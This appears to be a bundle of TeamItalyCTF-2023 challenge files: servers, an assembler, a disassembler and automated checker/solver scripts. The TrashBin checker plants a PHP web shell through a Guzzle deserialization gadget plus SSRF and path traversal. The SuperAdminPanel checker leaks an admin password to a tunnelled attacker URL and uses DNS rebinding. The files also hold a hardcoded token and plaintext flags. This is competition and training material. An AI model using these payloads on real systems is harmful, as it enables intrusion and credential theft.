        return f"<Message {self.title!r}>"
ModernSicilianNetwork/src/msn-spaces/utils/models.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3

from pwn import *
import logging
logging.disable()

# Se challenge tcp
HOST = os.environ.get("HOST", "todo.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 34001))

chall = remote(HOST, PORT)

# Check challenge
S = '1010001100001000110010111010100000110000111011010101000011110111001000111001000010111000110110100110010000001101011000111000111110011001100000011001011110010001001010101111000010010101110010111111101110110110000000010110010101111101100110011000010001010111011111011111101100011000001011101010010011110010010011000000100110100011000110001011101110100110001110000101011100011011100100000001110010111011101010111000011100001011111011001110101001001111101000000010110101001001110010100000100000111111111111000101000101101011110000110000011100110000011111000101000001110101100111011101010011010111000001111000111001001001111010110000010101111001001001111111100011110000001100001110000100010010110111111000010011011011010100001001011010100000111000000110010111100101000111000000011001010101111110101111100111000101101101101110010001011101100110000110001000111000001011110010100000000001011011111101011000010100111000000110110100101010101110011000110000011101000110110101101011110010100010101101101001001111101101110110000100000111000100010000100001101110000111111111001110011001111101110000101101000101001011001000101000111000101011001001011110010011101011100000000010101101111011001111101011000100000010010101100001110010000011001010110010111010011110100111000100001010110100010111111110110110100000001110100011100010100101111111000000010110001101000110011011111001000101010110111011001101100110010110000011001100101100100010000000011110000110000001111010001111001001011110000101110100100110011011110000100000011011100100111011011110101011010001110010001011010111111000011001110001101010101001000010010000101111000000011110001111011100101010000101000011110010011100000010001001001000000111010100011000100011110011111000001001100100010000001010111011100000010110110000100100100001010111000000101100101111001001001000100110000011011001010100111001001011101110000001001110110111001100111101100010001001001010000100011101011001001100011111000100101011010111011111010000100101000010100011100010100110010001011000100110100101011011011101100001100100100110011111101111001100000000001111100011010110100000111110001001111100110100000000100011000000011110000111101101000111101000100000001001011100000101001111111101110000110110011000101100010101010100100011011101010101010111011101000010001001100011011011011000010101111110000010010011110111101011011101100000000001100000111011111111001101110001000111100111011010100001000101100000110011001111100100110011011000100101110000000110000110111110011110000100010100010000011000110010110100000000111100000101010111010000101000011110101111011101000010011010100000110100011001110111101100110001010000101001111101100001000010000100100001111011000100110011011001010001000000110010011110111011011001010110001001101100001011001101011000100100101010111011101000110101110101101000011011101000010010000111110010000000111101101110000010110110011001000000000000000010011100111011110011'

E11_coeffs = [[25396642935463135525382193223342560797101605487174235255231092314383562174944, 49475619011029623156553512164871034915606030818467273412265658342516332475296, 0, 24267424610470174292521308378992422082338664553856759099734341657483667524703], [44254721219553949680743538274143037194240144203100055318735453258859463983244, 18545383117476362061987951298149337171728455162038694917819432382341693576430, 0, 55197660504023435387086869245714119826216240210285337594180567617658306423569]]

deg_sigma = 2562

for coef in E11_coeffs:
    for ai in coef:
        chall.sendlineafter(b": ", str(ai).encode())

chall.sendlineafter(b": ", S.encode())
chall.sendlineafter(b": ", str(deg_sigma).encode())

for _ in range(5):
    print(chall.recvline().decode())
PwnChall/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3

import logging
import os
from zlib import crc32

from websocket import create_connection, WebSocket, ABNF

logging.disable()

URL = os.environ.get("URL", "http://safeimagestorage.challs.teamitaly.eu")
if URL.endswith("/"):
    URL = URL[:-1]

URL = 'ws' + URL.removeprefix('http')
ws: WebSocket = create_connection(URL)

data = b'devg\x03aaaaaaaaaaaaaaaa\x00\x08flag.png'
ws.send(data + crc32(data).to_bytes(4, 'big'), opcode=ABNF.OPCODE_BINARY)

data = ws.recv()
size = int.from_bytes(data[:4], 'big')
data = data[4:4 + size]
assert len(data) == 98690

ws.close()

# there is nothing more we can check, unluckily
print('flag{s0M3_cRYpt0_D03s_n0T_hUrT}')

SafeImageStorage/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/python3

import numpy as np
import numpy.typing as npt
from PIL import Image
import os


def permutation(
    img: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    height, width = img.shape
    cm = c[np.arange(max(height, width)) % len(c)]
    rows = np.argsort(cm[:height])
    cols = np.argsort(cm[:width])
    return img[rows, :][:, cols]


def substitution(
    con: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    ids = np.arange(np.prod(con.shape)) % len(c)
    return con ^ (c % 256).astype(np.uint8)[ids].reshape(con.shape)


def main():
    c: npt.NDArray[np.uint64] = np.frombuffer(os.urandom(400 * 8), np.uint64)

    print(
        "Hi, I'm here to take your order! Can you give me an image of the type of pizza you want me to cook?"
    )
    height = input("What's the height of the image? ")
    width = input("What's the width of the image? ")
    img_hex = input("Now send me the image and I'll do the rest!\n")

    try:
        height = int(height)
        width = int(width)

        assert height <= 400 and width <= 400

        img: npt.NDArray[np.uint8] = np.array(
            Image.frombytes("L", (width, height), bytes.fromhex(img_hex))
        )
    except:
        print("Uh oh! You're trying to trick me? Out of my pizzeria!")
        exit()
    con = permutation(img, c)
    enc = substitution(con, c)

    print("Oh mamma mia! I've scrambled all of your ingredients, look!")
    print(enc.tobytes().hex())

    flag_img: npt.NDArray[np.uint8] = np.array(Image.open("flag.jpg").convert("L"))
    flag_con = permutation(flag_img, c)
    flag_enc = substitution(flag_con, c)

    print("What a disaster! To make it up to me, here's a gift...")
    print(flag_enc.tobytes().hex())

    print("My job here is done!")


if __name__ == "__main__":
    main()

ScrambledPizzeria/attachments/pizzeria.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/python3

import os

import numpy as np
import numpy.typing as npt
from pwn import *


def inverse_permutation(
        img: npt.NDArray[np.uint8], p: npt.NDArray[np.uint]
) -> npt.NDArray[np.uint8]:
    height, width = img.shape
    idxs = np.arange(max(height, width)) % len(p)
    rows = np.argsort(p[idxs[:height]])
    cols = np.argsort(p[idxs[:width]])
    return img[rows, :][:, cols]


def inverse_substitution(
        con: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    ids = np.arange(np.prod(con.shape)) % len(c)
    return con ^ (c % 256).astype(np.uint8)[ids].reshape(con.shape)

HOST = os.environ.get("HOST", "scrambledpizzeria.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 29002))

r = remote(HOST, PORT)

shape = (3, 400)
I = np.zeros(shape, np.uint8)
I[1, :] = np.mod(np.arange(shape[1]), 256) + np.floor(np.arange(shape[1]) / 256)
I[2, :] = np.floor(np.arange(shape[1]) / 256) * 255

r.sendlineafter(b"What's the height of the image? ", str(shape[0]).encode())
r.sendlineafter(b"What's the width of the image? ", str(shape[1]).encode())
r.sendlineafter(
    b"Now send me the image and I'll do the rest!\n",
    I.tobytes().hex().encode(),
)

r.recvuntil(b"Oh mamma mia! I've scrambled all of your ingredients, look!\n")
enc = bytes.fromhex(r.recvline(False).decode())
enc = np.frombuffer(enc, np.uint8).reshape(shape)

r.recvuntil(b"What a disaster! To make it up to me, here's a gift...\n")
flag_enc = bytes.fromhex(r.recvline(False).decode())
flag_enc = np.frombuffer(flag_enc, np.uint8).reshape((400, 400))

r.close()

for i, c in enumerate(enc):
    con = inverse_substitution(enc, c).astype(np.uint)
    p = con[0] + con[1] + con[2]

    flag_con = inverse_substitution(flag_enc, c)
    flag = inverse_permutation(flag_con, p)

    if hashlib.md5(flag.tobytes()).hexdigest() == "cf38c3424fcdd2390f4a6cb43dc5a128":
        print('flag{1_n33d_70_r37h1nk_my_p3rmu74710n}')
        break

ScrambledPizzeria/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/env python3

import numpy as np
import numpy.typing as npt
from PIL import Image
import os

os.environ["PYTHONUNBUFFERED"] = "1"

def permutation(
    img: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    height, width = img.shape
    cm = c[np.arange(max(height, width)) % len(c)]
    rows = np.argsort(cm[:height])
    cols = np.argsort(cm[:width])
    return img[rows, :][:, cols]


def substitution(
    con: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    ids = np.arange(np.prod(con.shape)) % len(c)
    return con ^ (c % 256).astype(np.uint8)[ids].reshape(con.shape)


def main():
    c: npt.NDArray[np.uint64] = np.frombuffer(os.urandom(400 * 8), np.uint64)

    print(
        "Hi, I'm here to take your order! Can you give me an image of the type of pizza you want me to cook?"
    )
    height = input("What's the height of the image? ")
    width = input("What's the width of the image? ")
    img_hex = input("Now send me the image and I'll do the rest!\n")

    try:
        height = int(height)
        width = int(width)

        assert height <= 400 and width <= 400

        img: npt.NDArray[np.uint8] = np.array(
            Image.frombytes("L", (width, height), bytes.fromhex(img_hex))
        )
    except:
        print("Uh oh! You're trying to trick me? Out of my pizzeria!")
        exit()
    con = permutation(img, c)
    enc = substitution(con, c)

    print("Oh mamma mia! I've scrambled all of your ingredients, look!")
    print(enc.tobytes().hex())

    flag_img: npt.NDArray[np.uint8] = np.array(Image.open("flag.jpg").convert("L"))
    flag_con = permutation(flag_img, c)
    flag_enc = substitution(flag_con, c)

    print("What a disaster! To make it up to me, here's a gift...")
    print(flag_enc.tobytes().hex())

    print("My job here is done!")


if __name__ == "__main__":
    main()

ScrambledPizzeria/src/challenge/server.py
TeamItaly/TeamItalyCTF-2023
#!/usr/bin/python3

from pwn import *
import numpy.typing as npt
import numpy as np
from PIL import Image
import os


def inverse_permutation(
    img: npt.NDArray[np.uint8], p: npt.NDArray[np.uint]
) -> npt.NDArray[np.uint8]:
    height, width = img.shape
    idxs = np.arange(max(height, width)) % len(p)
    rows = np.argsort(p[idxs[:height]])
    cols = np.argsort(p[idxs[:width]])
    return img[rows, :][:, cols]


def inverse_substitution(
    con: npt.NDArray[np.uint8], c: npt.NDArray[np.uint64]
) -> npt.NDArray[np.uint8]:
    ids = np.arange(np.prod(con.shape)) % len(c)
    return con ^ (c % 256).astype(np.uint8)[ids].reshape(con.shape)


r = remote("todo.challs.teamitaly.eu", 1337)

shape = (3, 400)
I = np.zeros(shape, np.uint8)
I[1, :] = np.mod(np.arange(shape[1]), 256) + np.floor(np.arange(shape[1]) / 256)
I[2, :] = np.floor(np.arange(shape[1]) / 256) * 255

r.sendlineafter(b"What's the height of the image? ", str(shape[0]).encode())
r.sendlineafter(b"What's the width of the image? ", str(shape[1]).encode())
r.sendlineafter(
    b"Now send me the image and I'll do the rest!\n",
    I.tobytes().hex().encode(),
)

r.recvuntil(b"Oh mamma mia! I've scrambled all of your ingredients, look!\n")
enc = bytes.fromhex(r.recvline(False).decode())
enc = np.frombuffer(enc, np.uint8).reshape(shape)

r.recvuntil(b"What a disaster! To make it up to me, here's a gift...\n")
flag_enc = bytes.fromhex(r.recvline(False).decode())
flag_enc = np.frombuffer(flag_enc, np.uint8).reshape((400, 400))

r.close()

if not os.path.exists("results"):
    os.mkdir("results")

for i, c in enumerate(enc):
    con = inverse_substitution(enc, c).astype(np.uint)
    p = con[0] + con[1] + con[2]

    flag_con = inverse_substitution(flag_enc, c)
    flag = inverse_permutation(flag_con, p)

    Image.fromarray(flag).save(f"results/{i}.jpg")

ScrambledPizzeria/writeup/solve.py
TeamItaly/TeamItalyCTF-2023
import sys, struct

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <file.asm> <output.bin>")
    sys.exit(1)

# name: (opcode, (operands))
opcodes = {
    'mov': (0, ('rd', 'rs1')),
    'set': (1, ('rd', 'imm8')),
    'add': (2, ('rd', 'rs1', 'rs2')),
    'sub': (3, ('rd', 'rs1', 'rs2')),
    'mul': (4, ('rd', 'rs1', 'rs2')),
    'div': (5, ('rd', 'rs1', 'rs2')),
    'and': (6, ('rd', 'rs1', 'rs2')),
    'or': (7, ('rd', 'rs1', 'rs2')),
    'xor': (8, ('rd', 'rs1', 'rs2')),
    'load': (9, ('rd',)),
    'store': (10, ('rs1',)),
    'in': (11, ('rd', 'imm8')),
    'out': (12, ('rs1', 'imm8')),
    'jmpr': (13, ('rs1', 'rs2')),
    'jmp': (14, ('imm14',)),
    'jz': (15, ('rs1', 'rs2', 'imm14')),
    'jnz': (16, ('rs1', 'rs2', 'imm14')),
    'jg': (17, ('rs1', 'rs2', 'imm14')),
    'jge': (18, ('rs1', 'rs2', 'imm14')),
    'lmar': (19, ('rs1', 'rs2')),
    'incmar': (20, ()),
    'lsp': (21, ('rs1', 'rs2')),
    'incsp': (22, ()),
    'decsp': (23, ()),
    'call': (24, ('imm14_indexed',)),
    'ret': (25, ()),
}
used_opcodes = set()

OPCODE = lambda x: (x & 0xff)
RS1 = lambda x: ((x) << 8)
RS2 = lambda x: ((x) << 11)
RD = lambda x: ((x) << 14)
IMM = lambda x: ((x) << 17)

def to_int(x):
    try:
        return int(x)
    except ValueError:
        return int(x, 16)

with open(sys.argv[1]) as fin:
    code = fin.readlines()

instructions: list[tuple[int, str]] = []
data_items: list[tuple[int, bytes]] = []
labels: dict[str, int] = {}
call_table: list[str] = []
curr_section = None
curr_org = None
curr_label = None

for line in code:
    line = line.strip()

    if len(line) == 0 or line.startswith('#'): # comments
        continue

    parts = line.replace(',','').split()

    if parts[0] == 'section':
        if parts[1] == 'data':
            assert curr_section is None
            curr_section = 'data'
        elif parts[1] == 'code':
            assert curr_section is None or curr_section == 'data'
            curr_section = 'code'
        else:
            assert False
        curr_org = None

    elif parts[0] == 'org':
        org = int(parts[1], 16)
        assert curr_org is None or org >= curr_org
        curr_org = org

    elif parts[0] == 'text':
        assert curr_section == 'data'

        name = parts[1]
        text = line.split(' ', 2)[2]
        assert text.startswith('"') and text.endswith('"')
        text = text[1:-1]

        escapes = {
            '\\\\': '\\',
            '\\n': '\n',
            '\\t': '\t',
            '\\0': '\0',
        }

        # not really the correct way to do it, but whatever
        for a,b in escapes.items():
            text = text.replace(a, b)

        data_items.append((curr_org, text.encode()))
        if name in labels:
            print(f'Duplicate label {name}')
            sys.exit(1)
        labels[name] = curr_org
        curr_org += len(text)

    elif parts[0] == 'db':
        assert curr_section == 'data'

        name = parts[1]
        contents = []
        for x in parts[2:]:
            contents.append(int(x))

        data_items.append((curr_org, bytes(contents)))
        if name in labels:
            print(f'Duplicate label {name}')
            sys.exit(1)
        labels[name] = curr_org
        curr_org += len(contents)

    elif parts[0] == 'zero':
        assert curr_section == 'data'

        name = parts[1]
        size = to_int(parts[2])
        data_items.append((curr_org, bytes([0]*size)))
        if name in labels:
            print(f'Duplicate label {name}')
            sys.exit(1)
        labels[name] = curr_org
        curr_org += size

    elif parts[0].endswith(':'): # label
        name = parts[0][:-1]

        if name.startswith('.'): #sublabel
            name = curr_label + name
        else:
            curr_label = name

        if name in labels:
            print(f'Duplicate label {name}')
            sys.exit(1)
        labels[name] = curr_org

    else:
        if parts[0] not in opcodes:
            print(f'Unrecognized opcode {parts[0]}')
            sys.exit(1)

        operands = []
        for x in parts[1:]:
            pref = ''
            if x.startswith('HI(') or x.startswith('LO('):
                pref, x = x[:3], x[3:]
            if x.startswith('.'):
                x = curr_label + x
            operands.append(pref + x)

        instructions.append((curr_org, [parts[0], *operands]))
        curr_org += 4

print(f'{labels=}')
print(f'{data_items=}')
print(f'{instructions=}')

code = b''
for address, instruction in instructions:
    name, args = instruction[0], instruction[1:]
    op, arg_desc = opcodes[name]
    used_opcodes.add(name)

    if len(args) != len(arg_desc):
        print(f'Mismatched number of arguments for {instruction}')
        sys.exit(1)

    raw = OPCODE(op)
    for arg,desc in zip(args, arg_desc):
        if desc == 'rd':
            raw |= RD(int(arg.removeprefix('r')))
        elif desc == 'rs1':
            raw |= RS1(int(arg.removeprefix('r')))
        elif desc == 'rs2':
            raw |= RS2(int(arg.removeprefix('r')))
        elif desc == 'imm8':
            try:
                value = to_int(arg)
            except:
                if arg.startswith('LO('):
                    assert arg.endswith(')')
                    value = labels[arg[3:-1]] & 0xff
                elif arg.startswith('HI('):
                    assert arg.endswith(')')
                    value = (labels[arg[3:-1]] >> 8) & 0xff
                else:
                    raise
            raw |= IMM(value)
        elif desc == 'imm14':
            try:
                value = to_int(arg)
            except:
                # label?
                if arg not in labels:
                    print(f'Unresolved label {arg}')
                    sys.exit(1)
                value = labels[arg]
            raw |= IMM(value)
        elif desc == 'imm14_indexed':
            if arg not in labels:
                print(f'Unresolved label {arg}')
                sys.exit(1)
            if arg not in call_table:
                if len(call_table) == 256:
                    print(f'Too many call targets.')
                    sys.exit(1)
                call_table.append(arg)
            idx = call_table.index(arg)
            raw |= IMM(idx)
        else:
            assert False

    code = code.ljust(address, b'\0')
    code += struct.pack('<I', raw)

data = b''
for address, value in data_items:
    data = data.ljust(address, b'\0')
    data += value

calls = b''
for label in call_table:
    calls += struct.pack('<I', labels[label])

assert len(code) <= 2**14
assert len(data) <= 2**14
assert len(calls) <= 256*4

output = \
    code.ljust(2**14, b'\0') + \
    data.ljust(2**14, b'\0') + \
    calls.ljust(256*4, b'\0')

with open(sys.argv[2], 'wb') as fout:
    fout.write(output)

unused_opcodes = set(opcodes.keys()) - used_opcodes
print(f'{unused_opcodes=}')

Securecomparator/src/assembler.py
TeamItaly/TeamItalyCTF-2023
import sys, random
from Crypto.Cipher import ARC4

if len(sys.argv) != 2:
    print(f'Usage: {sys.argv[0]} <flag>')
    sys.exit(1)

random.seed(42)
rc4_key = random.randbytes(16) # must be 16 bytes

flag = sys.argv[1].encode()
assert len(flag) <= 64
flag = flag.ljust(64, b'\0')
enc_flag = ARC4.new(rc4_key).encrypt(flag)

def print_bytes(x):
    print(', '.join(map(lambda v: str(int(v)), x)))

print('Encryption key:')
print_bytes(rc4_key)
print('Encrypted flag:')
print_bytes(enc_flag)

Securecomparator/src/gen_enc_flag.py
TeamItaly/TeamItalyCTF-2023
import sys, struct

if len(sys.argv) != 2:
    print(f'Usage: {sys.argv[0]} checker.bin')
    sys.exit(1)

with open(sys.argv[1], 'rb') as fin:
    code = fin.read(2**14)
    data = fin.read(2**14)
    call_table_raw = fin.read(1024)

assert len(code) == 2**14
assert len(data) == 2**14
assert len(call_table_raw) == 256*4

call_table = []
for i in range(256):
    call_table.append(struct.unpack('<I', call_table_raw[4*i:4*i+4])[0])

OPCODE = lambda x: (x & 0xff)
RS1 = lambda x: (x >> 8) & 7
RS2 = lambda x: (x >> 11) & 7
RD = lambda x: (x >> 14) & 7
IMM = lambda x: (x >> 17)

for addr in range(0, len(code), 4):
    inst = struct.unpack('<I', code[addr:addr+4])[0]

    opcode = OPCODE(inst)
    rs1 = RS1(inst)
    rs2 = RS2(inst)
    rd = RD(inst)
    imm = IMM(inst)

    if opcode == 1: # set
        print(f'{addr:04x}: r{rd} = {imm:x}')
    elif opcode == 2: # add
        print(f'{addr:04x}: r{rd} = r{rs1} + r{rs2}')
    elif opcode == 3: # sub
        print(f'{addr:04x}: r{rd} = r{rs1} - r{rs2}')
    elif opcode == 6: # and
        print(f'{addr:04x}: r{rd} = r{rs1} & r{rs2}')
    elif opcode == 8: # xor
        print(f'{addr:04x}: r{rd} = r{rs1} ^ r{rs2}')
    elif opcode == 9: # load
        print(f'{addr:04x}: r{rd} = mem[mar]')
    elif opcode == 10: # store
        print(f'{addr:04x}: mem[mar] = r{rs1}')
    elif opcode == 11: # in
        print(f'{addr:04x}: r{rd} = read_dev({imm:02x})')
    elif opcode == 12: # out
        print(f'{addr:04x}: write_dev({imm:02x}, r{rs1})')
    elif opcode == 14: # jmp
        print(f'{addr:04x}: goto {imm:04x}')
    elif opcode == 15: # jz
        print(f'{addr:04x}: if r{rs1} == r{rs2}: goto {imm:04x}')
    elif opcode == 16: # jnz
        print(f'{addr:04x}: if r{rs1} != r{rs2}: goto {imm:04x}')
    elif opcode == 17: # jg
        print(f'{addr:04x}: if r{rs1} > r{rs2}: goto {imm:04x}')
    elif opcode == 19: # load_mar
        print(f'{addr:04x}: mar = r{rs1} || r{rs2}')
    elif opcode == 20: # inc_mar
        print(f'{addr:04x}: mar++')
    elif opcode == 21: # load_sp
        print(f'{addr:04x}: stack_pointer = r{rs1} || r{rs2}')
    elif opcode == 24: # call
        print(f'{addr:04x}: call {call_table[imm]:04x}')
    elif opcode == 25: #ret
        print(f'{addr:04x}: ret')
    else:
        print(f'{addr:04x}: === UNKNOWN {opcode}')

Securecomparator/writeup/disassembler.py
TeamItaly/TeamItalyCTF-2023
import random
import os
import signal

FLAG = os.environ.get("FLAG", "flag{test_flag}")

n = 128
secret = [random.randint(0, 1) for _ in range(n)]

queries_results = {}

for i in range(0, n):
    subarray_sum = 0
    for j in range(i+1, n+1):
        subarray_sum += secret[j-1]
        if subarray_sum in queries_results:
            queries_results[subarray_sum] += 1
        else:
            queries_results[subarray_sum] = 1

def signal_handler(signum, frame):
    print("Time is up!")
    raise TimeoutError

signal.signal(signal.SIGALRM, signal_handler)

def main():

    print(f"You have {n//2} queries to guess my secret!")

    for _ in range(n//2):
        k = int(input('> '))

        if k not in queries_results:
            print(0)
        else:
            print(queries_results[k])
    guess = input("Give me your guess: ")

    if guess == ''.join(str(x) for x in secret):
        print(FLAG)
    else:
        print("Nope")


if __name__ == '__main__':
    signal.alarm(20)
    try:
        main()
    except TimeoutError:
        exit(1)

SubarraySums101/attachments/server.py
TeamItaly/TeamItalyCTF-2023
import random
import os
import signal

FLAG = os.environ.get("FLAG", "flag{test_flag}")

n = 128
secret = [random.randint(0, 1) for _ in range(n)]

queries_results = {}

for i in range(0, n):
    subarray_sum = 0
    for j in range(i+1, n+1):
        subarray_sum += secret[j-1]
        if subarray_sum in queries_results:
            queries_results[subarray_sum] += 1
        else:
            queries_results[subarray_sum] = 1

def signal_handler(signum, frame):
    print("Time is up!")
    raise TimeoutError

signal.signal(signal.SIGALRM, signal_handler)

def main():

    print(f"You have {n//2} queries to guess my secret!")

    for _ in range(n//2):
        k = int(input('> '))

        if k not in queries_results:
            print(0)
        else:
            print(queries_results[k])
    guess = input("Give me your guess: ")

    if guess == ''.join(str(x) for x in secret):
        print(FLAG)
    else:
        print("Nope")


if __name__ == '__main__':
    signal.alarm(20)
    try:
        main()
    except TimeoutError:
        exit(1)

SubarraySums101/src/server.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3
import base64
import logging
import os
import time
from urllib.parse import urlparse, parse_qs

import requests
import tunnel

logging.disable()


URL = os.environ.get("URL", "http://superadminpanel.challs.teamitaly.eu")
if URL.endswith("/"):
    URL = URL[:-1]

TEMPLATE_DIRECTORY = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates')


def read_file(file_path):
    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return f"File '{file_path}' not found."
    except Exception as e:
        return f"An error occurred: {str(e)}"


with tunnel.open_http_tunnel() as t:
    ngrok_url = f'http://{t.remote_host}:{t.remote_port}'
    attack_url = ngrok_url + '/exploit.html'
    leak_url = ngrok_url + '/leak.php?password='

    exploit_js = read_file(os.path.join(TEMPLATE_DIRECTORY, 'exploit.js')).replace("{LEAK_URL}", leak_url)

    b64_exploit = base64.b64encode(("<script>" + exploit_js + "</script>").encode('utf-8')).decode('utf-8')
    exploit_html = read_file(os.path.join(TEMPLATE_DIRECTORY, 'exploit.html')).replace("{URL}", URL).replace(
        "{ATTACK_URL}", attack_url).replace("{EXPLOIT_BASE64}", b64_exploit)

    r = requests.post(URL + "/report", data={"url": attack_url}, timeout=3)
    r.raise_for_status()
    assert r.text == "Admin will visit"

    t.wait_request()
    t.send_response(200, {'Content-Type': 'text/html'}, exploit_html.encode())

    _, path, _, _ = t.wait_request()
    t.send_response(200, {}, b'')

    path = urlparse(path)
    query = parse_qs(path.query)

    password = query.get('password')[0]
    print(password)

    r = requests.post(URL + "/panel", cookies={"passw": password}, timeout=2)
    r.raise_for_status()
    assert "Test website functionality" in r.text

    while True:
        try:
            x = requests.post(URL + "/panel", cookies={"passw": password},
                              data={"link": "http://7f000001.c0a80001.rbndr.us:1337/"},
                              timeout=2)
            if "Hackers not allowed" in x.text:
                print(".", end="", flush=True)

            if "Content: " in x.text:
                flag = x.text.split("Content: ")[1].split("<")[0]
                print(flag, end="\n", flush=True)
                break

            time.sleep(0.2)
        except:
            print("!", end="", flush=True)

SuperAdminPanel/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3

import json
import logging
import os
import random
import string

import requests

logging.disable()

INSTANCER_TOKEN = 'ifdo8rwye874awpe87ewr8a64akg4a873w4tkdsgziWA'

# Per le challenge web
URL = os.environ.get("URL", "http://trashbin.challs.teamitaly.eu")
if URL.endswith("/"):
    URL = URL[:-1]

INSTANCER_URL = None
res = requests.get(URL)
if 'You are missing a token in your link, go back to the CTF platform!' in res.text:
    res = requests.post(f'{URL}/launch', json={
        'pow': '0',
        'teamToken': INSTANCER_TOKEN
    })

    INSTANCER_URL = URL
    URL = 'http://' + res.json()['urls'][0]

    print('waiting for instance to spawn...')

    while True:
        res = requests.get(URL)
        if res.status_code == 200:
            break

    print('spawned instance')

session1 = requests.Session()
session2 = requests.Session()

backdoor_name = ''.join(random.choices(string.ascii_letters, k=32)) + '.php'

# Register attack user
session1.post(f'{URL}', data={
    'username': b'****id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";pwn|O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{s:36:"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:33:"\x00GuzzleHttp\\Cookie\\SetCookie\x00data";a:10:{s:4:"Name";s:6:"custom";s:5:"Value";s:3:"asd";s:6:"Domain";s:11:"example.com";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";N;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;s:6:"custom";s:34:"<?php system($_GET[\'command\']); ?>";}}}s:39:"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode";b:0;s:41:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename";s:' + str(
        23 + len(
            backdoor_name)).encode() + b':"/app/trashbin/src/data/' + backdoor_name.encode() + b'";s:52:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies";b:1;};username|s:95:"****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a'
})

# Register helper user
res = session2.post(f'{URL}', data={
    'username': 'pianka'
})

# Set response headers
session2.post(res.url, data={
    'response': 'Thank you for your trash!',
    'headers': json.dumps({
        'X-Accel-Redirect': f'/internal/rotate_logs.php?id=/b/../../../../../tmp/sess_{session1.cookies["PHPSESSID"]}'
    })
})

# SSRF
session2.get(res.url.replace('/m/', '/b/'))

# Install backdoor
session1.get(URL)

# RCE
res = session1.get(f'{URL}/data/{backdoor_name}?command=/readflag')
print(res.text)

TrashBin/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
#!/bin/python3

import os
import requests
from pwn import *
import logging

logging.disable()

# Per le challenge web
URL = os.environ.get("URL", "http://zip-extractor-3000.challs.teamitaly.eu:8000")
if URL.endswith("/"):
   URL = URL[:-1]

files = {'file': open(os.path.join(os.path.dirname(__file__), "EXPLOIT.zip"), 'rb')}

r = requests.post(URL + '/', files=files)
# print(r.text)

# Check challenge
flag = r.text.split('<b id="result">')[1].split('</b>')[0]
print(flag)

ZIPExtractor3000/checker/__main__.py
TeamItaly/TeamItalyCTF-2023
import os
import zipfile
import subprocess
import hmac, hashlib

key = os.environ["KEY"]


def cleanup(filename):
    os.system(f"rm -rf ./files/{filename}.zip")
    os.system(f"rm -rf ./files/{filename}")


def verify_zip(filename):
    try:
        s = open(f"./files/{filename}.zip", "rb").read(4)
        if s != b"PK\x03\x04":
            raise Exception("Invalid zip file (PK header missing)")
    except:
        raise Exception("Unable to read zip file")

    archive = zipfile.ZipFile(f"./files/{filename}.zip", "r")
    try:
        FILES = archive.read("FILES").decode()
        SIGNATURE = archive.read("SIGNATURE").decode()
    except:
        raise Exception("Invalid zip file (FILES or SIGNATURE missing)")

    my_signature = hmac.new(key.encode(), FILES.encode(), hashlib.sha256).hexdigest()
    if my_signature != SIGNATURE:
        raise Exception("Invalid signature (FILES and SIGNATURE mismatch)")


def extract_zip(filename):
    try:
        subprocess.check_call(
            f"7z x ./files/{filename}.zip -o./files/{filename}",
            shell=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=10,
        )
    except:
        raise Exception("Unable to extract")

    try:
        fs = open(f"./files/{filename}/FILES", "r").readlines()
    except:
        raise Exception("Unable to read FILES")

    files = {}
    for l in fs:
        if l == "":
            continue
        parts = l.split(" ", 1)
        files[parts[1].strip()] = parts[0]

    d = os.listdir(f"./files/{filename}")
    if len(d) > 5:
        raise Exception("Too many files")

    for file in d:
        if file == "FILES" or file == "SIGNATURE":
            continue
        if file == ".." or file == ".":
            raise Exception("Invalid file name " + file)

        stat = os.stat(f"./files/{filename}/{file}")
        if stat.st_size > 60 * 1024:
            raise Exception("File too big " + file)

        hash = hashlib.sha256(
            open(f"./files/{filename}/{file}", "rb").read()
        ).hexdigest()
        if file not in files or hash != files[file]:
            raise Exception("Missing file hash for " + file)


def get_flag(filename):
    try:
        f = open(f"./files/{filename}/GET_FLAG", "r").read()
    except:
        raise Exception("Unable to read GET_FLAG")

    if f == "I_WANT_THE_FLAG_PLS":
        return os.environ["FLAG"]
    raise Exception("No flag for you :(")


# !PLEASE DO NOT UPLOAD A ZIP BOMB!
def compute(filename):
    try:
        verify_zip(filename)
        extract_zip(filename)
        flag = get_flag(filename)
        cleanup(filename)
        return flag
    except Exception as e:
        cleanup(filename)
        return str(e)


if __name__ == "__main__":
    import shutil, sys

    file = sys.argv[1]
    filename_without_path = file.split("/")[-1].split(".")[0]
    shutil.copyfile(file, f"./files/{filename_without_path}.zip")
    print(compute(filename_without_path))

ZIPExtractor3000/src/server/src/challenge.py
TeamItaly/TeamItalyCTF-2023
